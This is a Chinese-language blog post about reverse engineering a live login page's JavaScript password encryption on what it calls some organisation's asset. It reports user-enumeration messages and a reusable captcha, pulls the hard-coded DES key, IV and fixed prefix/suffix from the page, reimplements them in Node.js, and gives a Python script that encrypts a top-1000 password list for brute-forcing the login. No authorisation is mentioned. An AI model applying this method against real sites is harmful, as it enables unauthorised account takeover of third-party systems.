记一次 JS 逆向密码加密
4 min read
今天漫游某单位资产的时候,发现了一个站点,反手 admin/admin
测一下,提示 密码不正确
,输入 admin1/admin1
提示 用户不存在
,同时 验证码
还可以重复使用,这不得 top1000
跑一下
F12
查看一下网络请求,发现验证码被添加到了 Cookie
里面,但既然可以复用,我们就不管了,其次 载荷
里的数据被加密了
userName: QEAqMWFkbWluaG5zaA==
password: QEAqMTk2ZjFhNjZiNjBkZjI1YWVobnNo
根据多年CTF经验,直接 Base64
解码
userName: @@*1adminhnsh
password: @@*196f1a66b60df25aehnsh
观察数据发现头尾的 @@*1
和 hnsh
是固定的,同时用户名未经过加密直接是 admin
,密码经过了加密处理,我们点击启动器看看调用堆栈
点击后会自定跳转到相应的代码片段,我们看到通过 ajax
发送了一个 POST
请求,url
为 /login.do
,参数来自 JsonData
var JsonData = { login: encodeString(login), pwd: encodeString(afterEncrypt), code: code };
其中 pwd
参数通过 encryptByDES()
处理了一下
var afterEncrypt = encryptByDES(pwd);
我们给 afterEncrypt
和 JsonData
打上断点
我们再次点击提交数据,发现已经在预定的位置断点成功了,我们点击进入 下一个函数调用
去查看一下 encryptByDES()
(直接全局搜索 encryptByDES
也可以 )
我们看到了关键代码
var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";
function encryptByDES(content) {
var key=define;
key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
var keyHex = CryptoJS.enc.Utf8.parse(key);
var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
iv: ivHex,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString();
}
然后我们一直点击 跳过下一个函数调用
即可,最后发现 JsonData
已经被正确赋值了
encryptByDES()
调用了 crypto-js
库扣取代码过程有点繁杂,我们直接使用 NodeJS
中转一下,直接使用 npm install crypto-js
,在代码中引用即可,然后粘贴我们抠出来的代码,同时改一下 return
,加上固定的头尾
const CryptoJS = require('crypto-js');
var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";
function encryptByDES(content) {
var key=define;
key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
var keyHex = CryptoJS.enc.Utf8.parse(key);
var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
iv: ivHex,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return strPre + encrypted.ciphertext.toString() + strSuf;
}
其实直接使用 NodeJS
也行,但是感觉还是 Python
方便点,正好学一下 execjs
的使用,记得先对照一下自己写的代码加密数据是否和网站加密的数据一致
import execjs
import base64
def encryptByDES(content):
js_code = open("enc.js").read()
ctx = execjs.compile(js_code)
return ctx.call("encryptByDES", content)
if __name__ == '__main__':
with open("top1000.txt", "r") as f:
for line in f:
a = encryptByDES(line).encode("utf-8")
b = base64.b64encode(a).decode("utf-8")
with open("pass.txt", "a") as f:
f.write(b + "\n")